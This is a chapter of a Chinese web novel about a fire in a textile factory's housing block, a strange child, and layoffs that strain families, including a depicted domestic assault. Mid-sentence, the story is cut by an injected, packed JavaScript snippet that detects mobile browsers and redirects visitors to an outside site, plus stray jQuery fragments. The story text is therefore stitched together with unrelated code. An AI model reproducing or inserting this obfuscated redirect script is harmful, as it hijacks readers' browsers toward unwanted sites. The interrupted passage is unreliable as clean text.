“言言——！言言！！”
女人的高声呼喊将闵朝言从梦中生生抢出来，她还没睁开眼睛，就感受到自己被抱进一个厚实温暖的怀抱。
“起火了！言言，捂住鼻子！”
闵长风顾不上脸上的灰，抱着闵朝言往外跑。
起火了？
闵朝言的眼睛一下子睁大了，她本能地知道火是破坏力很大的东西。
“不怕不怕，不是咱们家。”
闵长风匆忙安慰着女儿，抱着她往外跑。
哐——！
哐——！！！
大门被重重砸响。
“有人在家吗？我们是消防队的！现在需要借用你们的地方灭火！”
“请开门！请马上开门！！”
门外有人锤着门大喊。
闵父护着妻女打开门，几个身穿厚重军绿色防火服的消防员敬了个礼，然后马上伸出手将人往外拉。
“请马上下楼集合！这栋楼都要清空人！”
声音坚毅的战士说。
在他说话的档口，几个扛着胶皮水管的消防员鱼贯而入，他们个个都穿着极厚重的军绿色防火服，戴着红色头盔，脸上的汗水和尘土混合在一起。
闵朝言被母亲抱着一路下了楼。
“安全了，言言，不怕啊，妈妈爸爸都在。”
闵长风让女儿站在地上，紧紧握着她的小手。
“你看，你站在这里，咱们安全了。”
她说。
闵父站在她身后，温和地环抱住妻子的肩膀。
“我们没事了，你去看看消防员那边需不需要帮忙，你搭把手。”
闵长风也抱住他，松了一口气。
闵父沉默着点头。
纺织厂的家属楼都挨得很紧，一家起火，如果来了一阵大风，所有人都要遭殃。
为了预防火情扩大，从三号楼到五号楼的住户都被叫了下来，壮劳力们都在根据消防员的指示帮力所能及的忙。
“这是哪里烧起来了？”
程新抱着白百福跑下楼，找到了闵长风。
“四号楼。”
闵长风的眉头皱起来，压低了声音：
“老曲家。”
“老曲家？”
程新瞪大了眼睛，低声说：
“老曲……今天百福她爸上晚班之前和我说，老曲给‘无限停工’了。是倪主任走之前安排的。”
程新的丈夫只是临时工，和老曲在一个班工作，晚上常常要加班。
“是吗。”
闵长风没说话，低下头。
纺织厂里没有秘密，闵长风去医院对着老曲明朝暗讽之后，谁都知道这两家人看不对眼了。
老曲虽然职位比闵长风低，但是有资历，人品又不行，难保日后给她使点麻烦的小绊子。
闵长风从一开始就不怕这些，她应对过很多更辛苦的事情。
但倪盛鸣在最后还是关照着她，
这件事，让闵长风忍不住鼻子发紧。
“老曲家住你对窗吧？怎么就烧起来了？烧得厉害吗？”
程新捂住了白百福的耳朵，也压着声音问。
程新是很看不上老曲的。
她原先同老曲家的二姑娘关系不错，那个小姑娘拿她当姐看，走之前还给程新留了封信。
程新看了信，哭了一晚上，隔天就开始不停宣传老曲家的“光辉事迹”了。她不能帮曲二姑娘做点什么，但至少不能让老曲家父子过得那么舒坦。
“烟太大了，看不清。”
闵长风摇摇头。
这种事情，还是不要多讨论的好。
“云梯伸不上去就从家属房里找角度！先把被困人员赶紧接出来！”
手持对讲机的指挥员，脸上有种饱经风霜的，钢铁般的坚毅。
她站在四号楼下面，看着逐渐聚集的人们，声如洪钟：
“都别看了！都疏散！到时候水冲着你们不负责啊！”
在老战士的威慑力下，人群渐渐散去。
万幸火势很快被止住，被困人员也被陆续救出。
常姐抱着侄子，依靠着消防员的搀扶，慢慢走了出来，她和怀中的男孩都是灰头土脸的，但除了眼神发怔之外，身体并没有受伤。
另外抬下来的，还有两个担架，消防战士们用身体挡住了担架上的人，没有让围观群众看见。
只有不到腰高的闵朝言从人群的缝隙中看见，那双从担架上垂下来，皮肤血肉都被烧得溃烂的手。
一切吵嚷喧闹消失，
她听见自己的心跳声不断放大。
咚、咚咚——
被常姐拉着的小男孩眼神越过人群的手臂，看向那个雪白的，洋娃娃一样的女孩。
她的眼神是那样明亮地闪烁着。
她在笑。
-
1099年，重平市，
芳芳纺织厂附属子弟小学。
“闵朝言，闵朝言！”
郝升祺躲过好几个足球，从操场的另一边跑过来，对着闵朝言挥手。
“嗯？”
闵朝言盘着腿坐在秋千上晃悠，抬起头。
她的头发已经很长了，被扎成一个丸子，抬头的时候，一点一点地颤着。
“你怎么不去上课啊？你不喜欢上数学课吗？”
郝升祺呼哧呼哧跑到她身边，问。
三年过去了，他还是一副圆滚滚的模样，个子也不高，眼睛和他的脸型一样圆乎乎的。
“哦，我陪白百福哭一会儿。”
闵朝言向旁边的秋千上歪了歪头。
另一边，白百福已经哭成了一个泪人，闵朝言递给她一块橘子软糖，她一边嚼一边哭，声音堵在嘴里，呜呜的。
“你吃吗？”
闵朝言递过去一个。
虽然最开始给她送橘子软糖的人没了，但闵朝言身上总还是有这种糖果。
她其实早就不吃了，但还是习惯性地会买。
“好哦。”
郝升祺接过糖果，自己也嚼起来。
对他来说这是非常廉价的零食，家里人绝不会给他买这个档次的糖果。郝升祺也不觉得好吃。
但这是闵朝言给他的糖果，所以郝升祺觉得不好吃，也还是会一次又一次地吃下去。
他没思考过为什么，这好像本来就是理所当然的事情。
“我上次见她哭这么惨，还是你被糖粘掉了牙，她担心你会死掉的时候。”
郝升祺说。
闵朝言面无表情地捏住了郝升祺的嘴。
去年，大家都陆陆续续开始换牙了，白百福说话更漏风了，她像她妈，爱说话，叽叽喳喳起来，闵朝言一天用三块糖也粘不住她的牙。
真正被粘住牙的是闵朝言，她其实不常吃橘子软糖，偏偏就是那天！
闵朝言嚼到一半，嘴里一空，牙龈忽然有点发凉——然后，就是她的牙粘在橘子软糖上，掉了下来。
在学校啊！！！
即使是从来不在意别人目光和看法的闵朝言，也觉得自己小小的死了一回。
原来这就是“丢脸”的感觉。
直到今天，
她依然不允许任何人说起这件事。
“我%错了?：不敢&说了——！”
郝升祺可怜巴巴地举起双手投降。
又从他身上收缴了两
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654862|182368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
颗进口巧克力，闵朝言才放过他。
“白百福为什么哭得这么惨啊？”
郝升祺问。
闵朝言没回答，默默把手中的巧克力分给白百福一个。
“我、嗝！我妈妈，要下岗了……哇——！！！”
她含着巧克力，大声哭起来。
白百福的父亲是临时工，去年就下了岗，现在在外面打零工。好在母亲程新还有正式工的职位，日子勉强紧巴着也能过下去。
可昨天回来时候，程新和丈夫说起，自己也在今年的下岗名额里，厂里要买断她的工龄。
“他们一直在吵架，我好害怕，我不想回家。”
白百福抽噎着，拉住闵朝言的衣角：
“我能去你家吗？”
晚饭之前，程新敲响了闵长风的家门。
闵长风打开门，看到是她，下意识用衣摆擦了擦手，开口：
“吃了饭再走吧。”
“不了，谢谢闵主任。”
程新摇头，脸上的表情有点憔悴。
“程新，你别这么叫我……”
闵长风的表情落寞。
“谢谢你帮我看着百福，我先回去了。”
程新笑笑，没说什么，转身离开了。
她最近瘦了很多，工服空荡荡的，随着风飘动。
就像她这个人，也只能随着时代的浪潮，不断地飘动，不知道终点是哪里。
白百福和母亲离开了，走之前眼泪汪汪的。
果然，她回到家没多久，厨房里又传来了争执声。
“你不是和那个闵长风关系好吗？她现在是车间主任了，怎么不帮帮你？！虚伪！”
“这是厂里的指标，她也是没办法，她已经尽力给我们更多补偿了——”
“补偿有什么用？我们俩都下岗了，房子也住不了了，孩子要转学，那几万块钱够干什么的？！”
“长风说了，房子不让我们马上搬，孩子也可以等毕业了再去上公立初中，现在厂里就是这个情况你让我怎么办？你自己不是也下岗——”
啪——！
厨房里，程新捂着自己的脸颊，不可置信地睁大了眼睛。
“你打我？你敢打我？！姓白的，我杀了你！！！”
厨房里传来锅碗瓢盆被用力摔下的声音，白百福躲在被子里，抱着脑袋瑟瑟发抖。
好想逃……
她闭上眼睛，拿出一个闵朝言给她的橘子糖，大口大口地嚼起来。
眼泪混进糖里，她也分不出咸和甜了。
另一边，闵长风家的气氛也并不轻松。
“厂里的新指标下来了，要尽快第一批要下岗六百个员工，我们车间分到了……两百六十个。”
闵长风夹起一筷子鸡肉，放到闵朝言碗里。
闵朝言和闵父都沉默地倾听着。
“程新也在名单里。”
她叹息着。
倪盛鸣离开之前向厂领导大力举荐了闵长风作为自己的接班人，经过一年的考察期，闵长风在二十七岁这年成为了六车间的车间主任。
作为所有车间主任中最年轻的一位，她无疑被分配了最高的数量指标。
六车间一共三百三十个工人，
一夜之间，她要让三百三十个人里的一半，都失去生计。
其中就有她最好的朋友，程新。
今天下班时，没有任何一个工人和她打招呼，没有一个人再和她一起走回家属楼了。
闵长风深深叹了口气。
“妈妈。”
闵朝言轻轻拉住闵长风的手，眨了眨眼睛，声音稚嫩，却很平静：
“你别怕，你会赢的。”